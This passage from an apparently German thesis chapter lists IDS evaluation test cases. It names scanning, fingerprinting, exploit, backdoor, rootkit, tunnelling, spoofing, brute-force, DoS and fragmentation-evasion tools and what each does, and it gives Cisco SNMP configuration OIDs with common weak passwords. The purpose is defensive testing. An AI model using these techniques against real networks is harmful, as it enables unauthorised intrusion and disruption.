Operation Durch Nutzen von normalen ICMP Paketen, wie z.B. Timestamp

versuche das Betriebssystem des Zieles zu identi�zieren. Jedes Be-
triebssystem reagiert anders auf die verschiedenen ICMP Pake-
te, so da� man das entfernte Betriebssystem1 identi�zieren kann
[Ark01b]

Verhalten Kann das IDS OS Probing erkennen und unterscheiden von norma-
len ICMP Verkehr?

Name sing-info
Operation Nutzen von ICMP Info Paketen, um das Betriebssystem des Zieles

zu identi�zieren.
Verhalten Kann das IDS OS Probing erkennen und von normalen ICMP Ver-

kehr unterscheiden ?

Name icmpush-tstamp
Operation Identi�zieren das Betriebssystem des Zieles durch das Toolicmpu-

sh [oH] mittels ICMP Timestamp.
Verhalten Kann das IDS OS Probing erkennen und von normalen ICMP Ver-

kehr unterscheiden ?

Name icmpush-mask
Operation Identi�zieren das Betriebssystem des Zieles durch icmpushmittels

ICMP Mask.
Verhalten Kann das IDS OS Probing erkennen und von normalen ICMP Ver-

kehr unterscheiden ?

TCP - a stateful transport protocol [Dana] Der TCP-/IP Stack jedes Betriebs-
systems ist für das Verwalten vieler Variablen jeder Verbindung nach oder von der
lokalen Maschine verantwortlich. Diese Variablen de�nieren den Zustand in dem
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eine Verbindung sich be�ndet. Bei einen typischen Verbindungsaufbau schickt der
Klient ein TCP SYN Paket zu dem Server. Wenn das SYN vom Klientgesendet
wird, stellt das Betriebssystem den Zustand für diese Verbindung auf SYN_SENT
ein. In einem SYN_SENT-Zustand, erwartet das Betriebssystem des Klients ein
SYN/ACK als Antwort. Das Betriebssystem des Klients und dasProgramm warten
auf eine Antwort. Wenn der Server nicht innerhalb einer bestimmten Zeit reagiert,
schickt der Klient das SYN Paket nochmal, da es annimmt, da� das Paket es nicht
den Server erreicht hat. Wenn der Server auf dem Port hört, empfängt der Ser-
ver das SYN und antwortet mit einem SYN/ACK. Der Server geht dann in den
SYN_RECD-Zustand über. Bei einem Scanner reicht diese SYN/ACK um den Port
als offen zu identi�zieren.

ESTABLISHED

ESTABLISHED

SYN_SENT 
SYN_RECD

...

Klient  Server
SYN J

SYN K ,ACK J+1

ACK K+1

Abbildung 4.1: Typischer Verbindungsaufbau

Ein einfacher Netzscanner schickt ein SYN-Paket zum Server, und speichert dann
die Verbindungsdaten oder wartet auf eine Antwort. Wenn er die Antwort erhält,
überprüft, ob die ACK-Folgenummer 1 plus die Ausgangsfolgenummer ist, die es
in das SYN sendete. Wenn dieses der Fall ist, ist es eine gültige Antwort.

Scanrand beschleunigt den Prozess, daes nicht aufdieAntworten wartet. Es arbeitet
nach dem Prinzip “Fire and Forget”. Nach dem Aufrufen wird esin 2 Kindprozesse
geteilt. Der erste Kindprozess schickt nur SYN Pakete und kümmert sich nicht
um die Antworten. Der zweite Kindprozess wartet nur auf die Antworten. Eine
weitere Erklärung der Funktionsweise -heisststateless- von scanrand �ndet man
unter [Wis].
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Name scanrand2 [Dana]
Operation Von Paketto Keiretsu scanrand nutzen, welchesstatelessTCP scan-

ning nutzt, um die offene Port zu identi�zieren.
Verhalten Kann das IDS auch Stateless TCP Scannings erkennen?

Name scanrand2-1
Operation Von Paketto Keiretsu benutze scanrand, welchesstatelessTCP

scanning nutzen, um die offene Port zu identi�zieren. Nutzenoch
Statelessly TCP Traceroute. Durch die Antwortzeiten ist es mög-
lich Ruckschlüsse auf die Existenz von Firewalls, SSL Proxys, z.B
durch das TTL Feld. Vgl auch [RRC03]

Verhalten Kann das IDS auch Stateless TCP Scannings und Statelessly TCP
Traceroute erkennen?

Name TCP SYN 2
Operation Von Paketto Keiretsu nutze scanrand, welchesstatelessTCP scan-

ning nutzen, um die offene Port zu identi�zieren. Diesmal ein
schneller scan. Bei schnellen Scans mit wenigen Ports habenoft
Einbruchserkennungsysteme Probleme diese Art von Scans zude-
tektieren.

Verhalten Kann das IDS auch schnelle Stateless TCP Scannings erkennen?

Name TCP connect()
Operation Führe ein TCP-connect() Scan durch.
Verhalten Detektiert das IDS ein TCP-connect() Scan?

Name udp
Operation Schicke ein 0-byte UDP Packet an jeden Port. Wenn die Antwort

“ICMP port unreachable” ist, dann ist der Port geschlossen.
Verhalten Detektiert das IDS ein UDP Scan?

Name protocol
Operation Man versucht die unterstützten Protokolle von einem Host zuer-

kennen. Dazu schickt man raw Pakete, indem man jedes Protokoll
ohne Header schickt. Wenn die Antwort “ICMP protocol unreacha-
ble”, dann wird das Protokoll nicht benutzt.

Verhalten Detektiert das IDS ein IP protocol Scan?
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Name ack
Operation Dieser Scan erlaubt auch die Firewall zu testen, ob diese statefull ist

oder nicht. Man schickt ein Paket mit dem ACK Flag gesetzt. Falls
ein RST kommt, dann ist der Port un�ltered. Wenn keine Antwort
kommt, oder ein “ICMP unreachable”, dann ist dieser Port ge�ltert.

Verhalten Detektiert das IDS ein ACK Scan?

Name rpc
Operation Fluten alle Ports TCP/UDP mit SunRPC NULL Kommandos, um

zu detektieren, ob es um ein RPC Port handelt.
Verhalten Detektiert das IDS ein RPC Scan?

Name null
Operation Beim NULL Scan sind keine Flags gesetzt.
Verhalten Detektiert das IDS ein NULL Scan?

Name icmp
Operation Führe ein Scan durch, die Hosts werden mit ICMP netmask request

(ICMP type 17) überprüft, ob sie laufen.
Verhalten Detektiert das IDS ein ICMP Scan?

Name �n
Operation Man schickt ein Packet wo nur das FIN Flag gesetzt ist.
Verhalten Detektiert das IDS ein FIN Scan?

Name windows
Operation Dieser Scan ist ähnlich zu dem ACK Scan. Dabei wird ein Paket

geschickt, wo das ACK Flag gesetzt ist. In der Antwort -RST Paket-
wird abhängig vom Betriebssystem die Windowgrösse unterschied-
lich gesetzt. Wenn der Port geschlossen ist, wird Windowgrösse auf
0 gesetzt. Bei offenen Ports ist die Windowsgrösser auf ein Wert >0
gesetzt. Somit kann man auch offene Ports entdecken. Allerdings
funktioniert es nicht mit allen Betriebssystemen. (Vgl auch Abb.
4.2(a) und Abb. 4.2(b)

Verhalten Detektiert das IDS ein TCP Windows Scan?
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RST + WIN=0

TCP ACK

(a) Windows Scan-
geschlossener Port

RST + WIN=4096

TCP ACK

(b) Widnows Scan offener
Port

Name xmas
Operation Bei Xmas Scan sind die Flags FIN, URG,und PUSH gesetzt.
Verhalten Detektiert das IDS ein xmas Scan?

Name decoy
Operation Führe ein Scan mit Decoys durch. Es wird vorgetäuscht, da� meh-

rere Rechner unser Ziel scannen.
Verhalten Kann das IDS erkennen ein Scan mit Decoys detektieren?

Name idle
Operation Durch ein Idle Scan verrät ein Angreifer seine Identität nicht, da

keine Pakete von seiner realen IP zum Ziel geschickt werden.
Man nutzt ein zombie Host, um den Portscan durchzuführen. Man
braucht nur ein Host mit wenig Verkehr, wie z.B. einen Drucker.
Da man die Sequenz ID vorhersagen kann, kann man einfach den
Portscan durchführen. Man merkt sich die Sequenz ID des Zom-
bies. Danach schickt man den Scan mit gefälschter Absender IP.
Man braucht danach nur die Sequenz ID zu überprüfen, um festzu-
stellen, ob eine Antwort zurückkam, was ein offenen Port bedeuten
würde. Vgl Abb. 4.2 und [IDL]

Verhalten Kann das IDS IDLE Zombie Scans detektieren?

Name time-1
Operation Führe ein Scan durch, wobei zwischen den einzelnen Portzugriffen

mehrere Minuten Unterschied liegt.
Verhalten Kann man das Timeout des IDS überwinden?
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Abbildung 4.2: IDLE Scan Prinzip [IDL]

Name time-2
Operation Führe ein Scan durch, wobei die Zeit zwischen den einzelnen Port-

zugriffen Minutenunterschied liegt und wenige Ports gescannt wer-
den.

Verhalten Kann man das Timeout der IDS überwinden?

Name ipv6s-1
Operation Führe ein IPv6 Scan aus.
Verhalten Kann das IDS mit IPv6 umgehen?

Name frag-0
Operation Führe ein FIN Scan aus, wobei die Pakete fragmentiert werden.
Verhalten Kann das IDS den Scan detektieren?
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Name comp-0
Operation Führe ein fragmentierten FIN Scan, wobei zwischen den einzelnen

Portzugriffe mehrere Minutenunterschied liegt.
Verhalten Kann das IDS den Scan detektieren?

Name os�ng-xprobe-1 [OAC]
Operation Benutzen xprobe, um das Betriebssystem des Ziels zu erkennen

durch UDP,ICMP Pakete. Man schickt ein UDP Paket an ein ge-
schlossen Port. Die Antwort ist ein ICMP port unreachable (type 3
code 3). Abhängig von Betriebssystem werden Daten vom Origi-
nalpaket übernommen oder durch Null ersetzt. Durch Auswertung
der Daten von den Feldern: IP total length, IP ID, 3 bits Flags, frag-
ment offset, IP header checksum, UDP checksum kann xprobe ein
Ruckschlüsse über das entfernte Betriebssystem machen. [Ark01a]

Verhalten Kann das IDS OS Fingerprinting Versuche erkennen?

Name os�ng-xprobe-2
Operation Benutzen xprobe, um das Betriebssystem des Ziels zu erken-

nen durch ICMP Pakete. Diesmal werden weitere Module gela-
den. [Ark01a]

Verhalten Kann das IDS OS Fingerprinting Versuche erkennen?

Name ap�ng-amap [vHb]
Operation Applikation Fingerprinting durch amap. Amap ist gedacht, um Ser-

vices, die auch nicht in den Standards Ports laufen, zu identi�zieren,
z.B. HTTPS auf Port 8888. Es simuliert ein komplettes Handshake,
um die Applikation zu identi�zieren.

Verhalten Kann das IDS Applikation Fingerprinting Versuche erkennen?

Name zone-1
Operation Versuch über ein DNS Zone Transfer Informationen über das Netz

zu erlangen.
Verhalten Kann das IDS Zone Transfers erkennen?
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Name source-1 [SYNa]
Operation Loose Source Routing(rfc791 [Pos81]) ist eine Methode, um

Netzwerkprobleme zu überprüfen. Man kann die Gateways und
den Weg, die ein Paket nehmen muss selber de�nieren (vgl auch
[McN04]). Es gibt auch Tools, die Schwachstellen bei der Imple-
mentierung auzusnutzen. Somit kann man Verbindungen abhören.

Verhalten Kann das IDS Loose Scan Routing erkennen?

Name bogon-1
Operation Eine Attacke wird von eine reservierte Adresse durchgeführt.
Verhalten Kann sich das IDS Bogons erkennen?

Name bogon-2
Operation Eine Attacke wird durch eine manipulierte“interne” IP Adresse

durchgeführt.
Verhalten Kann sich das IDS Bogons erkennen?

Name ikescan [NTA]
Operation Finden und Fingerprinting eines IKE(VPN) Servers.
Verhalten Kann das IDS den Informationleakversuch erkennen?

Name GetAcct [Uri]
Operation GetAcct ist ein Windows NT Commando Zeilen Tool, welches "Re-

strictAnonymous=1" mi�braucht und Informationen über Rechner
sammelt.2

Verhalten Kann das IDS den Informationleakversuch erkennen?

-

Name ikeprobe [Thu]
Operation IKEProbe überprüft VPN-Gateways, ob sie Pre-Shared Keys als

unverschlüsselte Hashes bei der Übertragung von Authenti�zie-
rungsdaten im Aggressive Mode senden.

Verhalten Kann das IDS den Informationleakversuch erkennen?
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4.2 Typische Angriffe

Es werden verschiedene Exploits gegen verschiedene Dienste getestet. Alle Ex-
ploits sind den IDS bekannt, da es um Exploits handelt, die seit längerem bekannt
sind. Das Hauptziel ist es die Informationen, die die Alarmeliefern zu überprüfen.
Somit kann man Ruckschlüsse auf die Qualität der Signaturenmachen. Au�erdem
ist es möglich das Verhalten des IDS zu untersuchen, ob bestimmte Exploits viele
Alarme auslösen.

Tools wie z.B.gweeundwebscanbzw. Webfuzzer, sind Tools die für Penetration
Testing3, können aber auch als Hackertools mi�braucht werden.

Es wurden auch ein paar Unicode Exploits getestet, um sicherzustellen, da die
Produkte auch mit Unicode umgehen können.

Name gwee [Blo]
Operation gwee (Generic Web Exploitation Engine) ist ein kleines C Pro-

gramm, welches input validation vulnerabilities in web skripts, die
in Perl CGIs, PHP, usw. geschrieben sind, ausnutzt.

Verhalten Kann das IDS die Angriffe erkennen?

Name webscan [gunb]
Operation webscan ist ein kleines Tool, welches nach asp, cgi, php Fehlern in

Webserver sucht.
Verhalten Kann das IDS die Angriffe erkennen?

Name unicode-shell [Br]
Operation Durch Ausnutzung der UNICODE vulnerability ( [Mica] und

[CVEc]) kann man beliebige Kommandos, wie in einer Shell aus-
führen. Einfach gesagt es nutzt Unicode Directory Traversal, eine
Kommandozeile zu erhalten.

Verhalten Kann das IDS das Exploit erkennen?

Name webexplt [sto]
Operation Die ISAPI Erweiterung für das Internet Printing Protocol (IPP)

support von IIS 5 enthält ein Buffer over�ow vulnerability.[Micb],
[CVEg]. webexplt testet, ob der IIS Server angreifbar ist.

Verhalten Kann das IDS das Exploit erkennen?

3Eigene Überprüfung der Systeme auf Schwächen
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Name vv5 [Guna]
Operation Das Tool nutzt das IIS 5.0 prop�nd Exploit [CVEf]. Durch spezi-

elle WebDAV Anfragen führt man ein DoS Angriff gegen ein IIS5
Server.

Verhalten Kann das IDS das Exploit erkennen?

Name rs_iis [Her]
Operation rs_iss nutzt das Buffer over�ow in ntdll.dll, welches erlaubt entfern-

ten Angreifern beliebigen Code auszuführen, wie es bei WebDAV
Anfragen zu IIS 5.0 demonstriert wurde [CVEb].

Verhalten Kann das IDS das Exploit erkennen?

Name apache-nosejob [GOB]
Operation Das Tool ist ein Proof-of-Concept für das “OPENBSD/X86 APA-

CHE REMOTE EXPLOIT”, welches erlaubt ein Angreifer belie-
bigen Code auszuführen durch spezielle Anfragen, die als chunked
kodiert sind.( [McN04] Seite128) [CER]

Verhalten Kann das IDS die Exploits erkennen?

Name apache_openssl_exploit [apa]
Operation In Juli 2002 wurden in OpenSSL v0.9.6d mehrere Bugs bekannt.

Dieses Tool nutzt diese, um ein Apache Web Server zu kompromit-
tieren.

Verhalten Kann das IDS das Exploit erkennen?

Name hmap [Lee]
Operation Dieses Tool versucht über verschiedene mi�gebildeten GET und

HEAD Anfragen, den entfernten Web Server zu identi�zie-
ren.( [McN04] Seite 101)

Verhalten Kann das IDS Applikations Fingerprinting Versuche erkennen?

Name dnascan [Moo]
Operation Oft laufen in IIS 5.0 und 6.0 Server .NET Komponenten. Dieses

Tool versucht zu erkennen, ob bei den entfernten IIS Server .NET
Komponenten aktiviert sind. ( [McN04] Seite 105 und 332)

Verhalten Kann das IDS den Informationleakversuch erkennen?
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Name owa [owa]
Operation Bei Microsoft Echange Mail Servern läuft oft eine Komponente na-

mens Outlook Web Access (OWA), um durch HTTP und HTTPS
Zugriff auf Usermail zu erlauben. Der owa Scanner ( [McN04] Sei-
te 108) versucht OWA Komponenten zu identi�zieren. Es können
Bruteforce Attacken danach gestartet werden gegen OWA.

Verhalten Kann das IDS den Informationleakversuch erkennen?

Name 7350wurm [TES]
Operation WU-FTPD ist ein beliebter FTP Server. Dieses Tool implementiert

das in [Int] Exploit. Man nutzt eine Serie vonRNFRund ~{ , was
ein HEAP Over�ow zur Folge hat.

Verhalten Kann das IDS die Exploits erkennen?

Name 0x82-wu262 [szo]
Operation WU-FTPD ist ein beliebter FTP Server. Dieses Tool implemen-

tiert das in [CVEh] bekannte Exploit. Die Funktionrealpath()
hat ein Bug, welcher durch verschiedene Befehle , wie z.B.
STOR,RETR,MKD,RMDausgenutzt werden kann.

Verhalten Kann das IDS die Exploits erkennen?

Name shack [sha]
Operation Am 8 Februar 2001 wurde ein Advisory veröffentlich, welchesent-

fernte integer Over�ow in verschiedene SSH1 Implementationen
bekannt gab [CVEe]. Durch spezielle SSH1 Pakete kann ein An-
greifer ein Over�ow erzwingen und beliebigen Code ausführen.

Verhalten Kann das IDS die Exploits erkennen?

Name bind8x [GW]
Operation Das Tool bind8x implementiert das BIND TSIG (Transaction Si-

gnature) Over�ow [CVEd]
Verhalten Kann das IDS die Exploits erkennen?

Name cisco-torch [Arh]
Operation Cisco Torch ist ein mass scanning, �ngerprinting, und exploitation

tool gegen Cisco Routern und Switches.
Verhalten Kann das IDS den Informationleakversuch erkennen?
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Name cisco-exploiter-1 [cis]
Operation Cisco Exploiter führt Angriffer gegen Cisco Produkte. In diesem

Fall Cisco IOS HTTP Auth Vulnerability.
Verhalten Kann das IDS die Exploits erkennen?

Name cisco-exploiter-2 [cis]
Operation Cisco Exploiter führt Angriffer gegen Cisco Produkte. In diesem

Fall Cisco IOS HTTP Con�guration Arbitrary Administrative Ac-
cess Vulnerability

Verhalten Cisco Exploits

Kann das IDS die Exploits erkennen?

Name cisco-exploiter-3
Operation Cisco Exploiter führt Angriffer gegen Cisco Produkte. In diesem

Fall Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnera-
bility

Verhalten Kann das IDS die Exploits erkennen?

Name cisco-router-con�g
Operation Viele Geräte lassen sich durch SNMP administrieren. In unse-

rem Testfall kann man mit Hilfe von SNMP die Router Kon�-
guration speichern, laden einer neuen Kon�guration oder Firm-
ware wäre auch möglich. Man braucht nur die richtige OID
(.1.3.6.1.4.1.9.2.1.55 fürs Lesen, .1.3.6.1.4.1.9.2.1.53 fürs Schrei-
ben), das richtige Kennwort -was leider sehr oft schwach (public,
cisco, snmp,...) oder unverschlüsselt in den SNMP Versionen 1 und
2 ist- und ein tft Server. Mitsnmpgetodersnmpsetwäre bei unge-
schützten Geräten mehrere Angriffe möglich, DoS, Trojaner,...

Verhalten Kann das IDS den Informationleakversuch erkennen?

Name metasploit [Met]
Operation Von Metasploit Projekt Metasploit ein Exploit und Payload aussu-

chen und ausführen.
Verhalten Kann das IDS die Exploits erkennen?
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Name land [HEIa]
Operation Der Angreifer schickt viele Pakete mit Source- und Zieladrresse

gleich, die des Opfers. Viele Betriebssysteme haben versucht diese
Pakete zu verarbeiten und immer mehr Ressourcen verbrauchtbis
der Rechner nicht mehr reagiert hat.

Verhalten Kann das IDS LAND Attacken erkennen?

Name ntpx-replay
Operation Mit den Tool replay wird ein gespeicherter Angriff -hier ntpx, ein

Angriff gegen ein NTP Server- wieder ins Netz eingespeist.
Verhalten Kann das IDS Attacken erkennen?

4.3 Backdoor

Es wurde bewu�t auf bekannte Backdoors, wie z.B. Back-Ori�ce verzichtet. Es
sollten neue Backdoors getestet werden, um die Grenzen der Systeme zu bestim-
men. Es wäre einfach neue Backdoors zu generieren, die keineSignatur entspre-
chen. Durch Modi�kation von sebek [Thea], was für Honeypotsgedacht ist, könnte
man den Verkehr verschlüsseln und ein Backdoor/Trojaner erstellen.

Name zappa [Ble]
Operation zappa hört nicht auf Verbindungsversuche. Dieses Backdoorwartet

auf bestimmte ICMP Pakete. Danach versucht der Server eine UDP
Verbindung mit den Klient “aufzubauen”.

Verhalten Kann das IDS Backdoors erkennen?

Name Reverse-WWW-Tunnel-Backdoor [vHa]
Operation Nutzen von HTTP Protocol, um ein Backdoor zu implementieren.
Verhalten Kann das IDS das Backdoors erkennen?

Name cb-rootkit [Zee]
Operation Ein Rootkit, welches einen “trojan” ssh Daemon auf Port 2006

installiert.
Verhalten Kann das IDS Backdoors erkennen?
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Name tunnelshell [Fry]
Operation Ein Klient/ServerBackdoor, welches neben ICMPauch udp,tcp und

Fragmente zur Kommunikation nutzt. Es baut ein Tunnel zwischen
Klient/Server. Bei TCP und UDP bindet es an kein Port, so da�
man es auch an Ports, die von anderen Programmen genutzt werden
nutzen kann. In ein Webserver auf Port 80, so dass die Firewall die
Pakete durchlässt.

Verhalten Kann das IDS das Backdoors erkennen?

Name adore-ng [Ste]
Operation Eine neue Implementierung von adore Rootkits, so dass es auch un-

ter Linux Kernel 2.6 läuft. Au�erdem lä�t sich nicht mit chkrootkit
Version 0.43 entdecken. adore versteckt Prozesse, Sockets, Dateien
und Verzeichnisse, sowie Filtert die Messages für syslog und utmp.

Verhalten Kann das IDS das Backdoors erkennen?

Name pam [gml]
Operation Ein Pluggable Authenti�cation Modul (PAM) Backdoor. Es lä�t

sich mit jeden Dienst, welcher PAM nutzt, benutzten. Es protokol-
liert au�erdem alle Passwörter.

Verhalten Kann das IDS das Backdoors erkennen?

Name cd00r [FXa]
Operation Ein Backdoor, welches an der Idee von Portknocking basiert.Es

werden keine offene Ports anzeigt -per Portscan oder im lokalen
Systen , trotzdem ist der entfernte Zugriff erlaubt. Das Backdoor
hört -in nicht promiscius Modus- das Rootkit alle einkommende
Pakete. Wenn es das richtige Paket -klopfen- erkennt, öffnet dann
ein Port. Somit ist man zum grö�ten Teil unsichtbar.

Verhalten Kann das IDS das Backdoors erkennen?

Name icmpbackdoor [Mue]
Operation Ein Backdoor (Klient/Server), welches mit ICMP Pakete kommu-

niziert. In den einzelnen ICMP Paketen -jedes ICMP Paket, also
auchRouter advertisement(icmp code 9)- sind die Kommunikati-
onsdaten versteckt.

Verhalten Kann das IDS das Backdoors erkennen?
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Name udp-remote [Ros]
Operation Ein Backdoor, welches verschlüsselte UDP Pakete zur Kommuni-

kation nutzt.
Verhalten Kann das IDS das Backdoors erkennen?

Name SAdoor [CMN]
Operation Ein Backdoor, das benutzt selbstde�nierte Pakete, um ein Port zu

öffnen. Z.B. man führt ein Portscan auf Port 80 durch, dann schickt
man ein Ping und danach ein UDP Paket für Port 999. Erst danach
wird ein Port geöffnet. Natürlich sind die Pakete verschlüsselt, so
dass es nur mit dem richtigen Key, der Port geöffnet wird.

Verhalten Kann das IDS das Backdoors erkennen?

4.4 Tunnelangriffe

Als Tunnel de�nieren wir hier den Einsatz von Protokoll in Protokoll, als Beispiele
IPv6 in IP4. Es wird eine bestehende IPv4 Verbindung genutzt, um eine IPv6
Verbindung herzustellen. Es ist so als steckt man ein Brief in ein anderes Brief.

Durch den Einsatz von Tunnel, die auch als Backdoors agierenkönnen, ist es
möglich einen “sicheren” Kanal in ein entferntes Netz aufzubauen. Hier wird keine
Verschlüsselung in Richtung VPN getestet, die sie sowieso nicht detektierbar ist,
au�er bei Net�ows. Es werden auch keine Steganographische Tunnels, wie z.B.
stegtunnel [SYNb] getestet. Bei diesen Test ist der Frage, ob das IDS die Angriffe
erkennt wenn sie durch ein Tunnel statt�nden. Z.B. wenn ein IP in IP oder ein GRE
Tunnel aufgebaut wird, kann das IDS in die Tunnels die Paketebetrachten?

Ein einfacher Schutz wäre solche Protokolle, wenn nicht benötigt auszuschalten
und ihr Vorkommen in normalen Netzverkehr soll ein Alarm auslösen.

Name gretunnel [FX00]
Operation Aufbau ein Generic Encapsuling Enviroments (GRE) Tunnels.

Ausführen eines Angriffes durch den Tunnel.
Verhalten Kann sich das IDS durch Tunnels täuschen?

Name updtunnel [ick]
Operation Eine Attacke wird durch udp in tcp durchgetunnelt.
Verhalten Kann sich das IDS durch Tunnels täuschen?
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Name httptunnel [Bri]
Operation Eine Attacke wird durch das http Protokoll durchtunnelt.
Verhalten Kann sich das IDS durch Tunnels täuschen?

Name dnstunnel [Pol]
Operation Eine ssh Verbindung wird durch DNS Pakete getunnelt. Die Verbin-

dung wird durch DNS Anfragen getunnelt.Es wird ein DNS Server
vorausgesetzt.

Verhalten Kann sich das IDS durch Tunnels täuschen?

Name ipv6tunnel
Operation Ein IPv6 in IPv4 Tunnel wird aufgebaut und ein Angriff durch den

Tunnel ausgeführt.
Verhalten Kann das IDS IPv6 in IPv4 Tunneling erkennen?

Name icmptunnel [icm]
Operation Eine Verbindung wird durch ICMP Pakete (z.B. ping echo und ping

request) getunnelt. Man kann es auch als Backdoor betrachten.
Verhalten Kann das IDS IP Tunneling erkennen?

Name ipiniptunnel
Operation Erstellen eines IP in IP Tunnels. Es wird eine zweite IPv4 Adresse

für jeden Host benötigt
Verhalten Kann das IDS IP Tunneling erkennen?

Name ncovert [Nom03]
Operation Nutzen des ncovert Tools um Daten zu transferieren. Die Daten

werden in der Sequenznummer“versteckt”. Mit ncrypt kann man
die Daten noch verschlüsseln.

Verhalten Kann das IDS den erhöhten Verkehr erkennen?

4.5 DNS und Router Angriffe

Diese Art von Angriffe sind sehr gefährlich. Arp- und DNSspoo�ng können vor
eine Man in the Middle Attacke statt�nden. Au�erdem können gefälschter DNS
Antworten zu DoS führen. Der Einsatz von DNSSec ist sehr zu empfehlen.
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Was auch oft unterschätzt wird sind die Anggrife gegen Routern. Wenn ein Agreif-
fer Zugriff auf ein Router erlangt, kann viele Angreife durchführen. [ROU]

• Falls das DHCP Protokoll benutzt wird und es gibt Router , die auch als
DNS und DHCP Server agieren, könnte einfach bei einer DHCP Antwort
einen gefälschten DNS Server angeben. Oder wenn auf den Router ein DNS
Server läuft, kann man alle DNS Abfragen fälschen und umleiten nach freiem
Willen.

• Es wäre ein Portforwarding möglich.

• Installieren einer gehackten Firmware auf den Router, um eine Shell zu
bekommen, oder die nach Patterns in den Paketen sucht.

• Einfach den Authenti�cation Server so ändern, so dass an eine von Hacker
kontrollierte Maschine zeigt.

• ACLs in den Router aktivieren bzw. deaktivieren.

• NAT “Löcher” generieren, um auf die interne Rechner Zugriff zu erhalten.

• Denial of Service: Password so ändern, dass der legitime User kein Zugriff
auf den Router hat.

• Einfach den ganzen Verkehr an eigenen Router umleiten, z.B. mit GRE

Ähnliche Attacken gibt es auch für Switches: Ports bzw. Verkehr umleiten, Ports
abschalten usw. Man kann auch den Verkehr umleiten und sich als neuer Gateway
ausgeben.

Auf Angriffe auf Router wurde verzichtet, da diese nicht erkannt werden. Als Rou-
terangriffe sollten die Angriffe auf die Routingprotokolle (RIP,BGP,...) betrachtet
werden, die z.B. durch Nemesis [Gri], Virtual IP Phalanx Router [FXe], DHCP
Spoo�ng4 [OV03], ICMP redicrect [OV03] , IRDP Mangling [OV03] statt�nden
können.

Name dnsspoof [Sona]
Operation Ein Angriffer versucht DNSspoo�ng. Es wird die Antwort des DNS

Servers gefälscht.
Verhalten Kann das IDS DNSspoo�ng erkennen?

4Eine DHCP wird so gefälscht,dass der Rechner des Angreifersals neuer Route erscheint.
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Name dnshijack [ped]
Operation Ein Angriffer versucht DNShijacking. Es wird die Antwort des

DNS Servers gefälscht.
Verhalten Kann das IDS DNSspoo�ng erkennen?

4.6 Bruteforce Attacken

Es wären viele weitere Bruteforce Attacken möglich, z.B. gegen LDAP Server
[FXc], die aber wir nicht weiter betrachten wollen, da es dafür keine Signaturen
gibt.

Name brute-force-hydra-mssql
Operation Führe eine Brute-Force Attacke gegen einen MSSQL Server aus. Es

werden verschiedene User und Kennwortkombinationen überprüft.
Verhalten Kann das IDS Brute Force-Attacken erkennen?

Name brute-force-hydra-iis [vHc]
Operation Führe eine Brute-Force Attacke gegen einen IIS Server aus. Es

werden verschiedene User und Kennwortkombinationen überprüft.
Verhalten Kann das IDS Brute Force-Attacken erkennen?

Name brute-force-hydra-mysql
Operation Führe eine Brute-Force Attacke gegen einwn MySQL Server aus.

Es werden verschiedene User und Kennwortkombinationen über-
prüft.

Verhalten Kann das IDS Brute Force-Attacken erkennen?

Name venom [cqu]
Operation BruteforcePassword Tool durch Windows Management Instrumen-

tation (WMI) Service.
Verhalten Kann das IDS Brute Force-Attacken erkennen?

Name tsgrinder [MR]
Operation Terminal Server brute force tool
Verhalten Kann das IDS den Informationleakversuch erkennen?
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4.7 Denial of Service Attacken

Auch wenn die primäre Aufgabe von IDS Einbruchserkennung ist, können die
Systeme auch Denial of Service Attacken detektieren.

Name icmp444 [e4e]
Operation DoS Angriff durch ICMP Flooding
Verhalten Kann das IDS DoS Angriffe erkennen?

Name dns�ood [You]
Operation DoS Angriff durch Flooding mit DNS Abfragen
Verhalten Kann das IDS DoS Angriffe erkennen?

Name d0s [rag]
Operation DoS Angriff durch SYN Über�utung.
Verhalten Kann das IDS DoS Angriffe erkennen?

Name dhcpx [dhc]
Operation DHCP DoS Angriff. Es werden alle IP von ein DHCP Server ver-

braucht.
Verhalten Kann das IDS DoS Angriffe erkennen?

4.8 Layer 2 Attacken

Die Standard Layer 2 Attacke ist ARP Spoo�ng. Beide Systeme könne ARP
Spoo�ng nicht detektieren, auch wenn snort ein eigenes ARP Spoo�ng Modul
hat, ist eine statische Verwaltung per Hand alle 255 Adressen nicht zumutbar. Viel
mehr wäre eine dynamische Überwachung wie z.B. arpwatch [Ler] wünschens-
wert.

Allerdings gibt es mehr Layer 2 Angriffe, z.B. Spanning TreeProtocol (STP),
Cisco Discovery Protocol (CDP), Hot Standby Router Protocol (HSRP), VLAN
Trunking Protocol (VTP), Dynamic Trunking Protocol (DTP).
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Name Layer2 [OB]
Operation Das in Blackhat vorgestellte Programm yerinsia, nutzen, umein

Spanning Tree Protocol (STP) Angriff durchzuführen. Mit Hilfe
des STP Algorithmus wird versucht Loops zwischen Switches zu
vermeiden. Bei einem STP Angriff versucht der Angreifer alsWür-
zel des STP auszugeben, um allen Verkehr zu erhalten.

Verhalten Kann das IDS auch andere -au�er ARP- Angriffe erkennen?

Name cdp [FXb]
Operation Versuch über das Cisco Discovery Protocol Informationen über

Router/Switches zu erlangen.Dieses Protokoll erlaubt derKom-
munikation von Cisco Switches untereinader.

Verhalten Kann das IDS den Informationleakversuch erkennen?

4.9 Evasion Tests

5

Name frag-1
Operation TCP Handshake abschlie�en, schicke ein Test String in ein einziges

TCP Data Segment, welches in 8-byte IP Fragmente gesplittert ist
und in Order geschickt wird.

Verhalten Kann das IDS IP überhaupt durchführen?

Name frag-2
Operation TCP Handshake abschlie�en, schicke ein Test String in ein einziges

TCP Data Segment, welches in 24-byte IP Fragmente gesplittet ist
und in Order geschickt wird.

Verhalten Kann das IDS IP Reassembling überhaupt durchführen?

Name frag-3
Operation TCP Handshake abschlie�en, schicke ein Test String in ein einziges

TCP Data Segment, welches in 8-byte IP Fragmente gesplittetist
und eins davon wirdout-of-ordergeschickt.

Verhalten Kann das IDS einfaches IP Reassembling durchführen?

5Alle im folgenden durchgeführten Tests werden mit dem Programm fragroute [Sonb], welches
als Gateway agiert und die Daten, so wie in den einzelnen Testfälle spezi�ziert, modi�ziert.
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Name frag-4
Operation TCP Handshake abschlie�en, schicke ein Test String in ein einziges

TCP Data Segment, welches in 8-byte Fragmente gesplittet ist und
eins davon wird zweimal geschickt.

Verhalten Kann das IDS Reassembling bei Duplikaten durchführen?

Name frag-5
Operation TCP Handshake abschlie�en, schicke ein Test String in ein einziges

TCP Data Segment, welches in 8-byte Fragmente gesplittet ist.
Sende diese komplettout-of-Orderund eins davon wird zweimal
geschickt.

Verhalten Kann das IDS Reassembling bei Duplikaten und out-of-order
durchführen?

Name frag-6
Operation TCP Handshake abschlie�en, schicke ein Test String in ein einziges

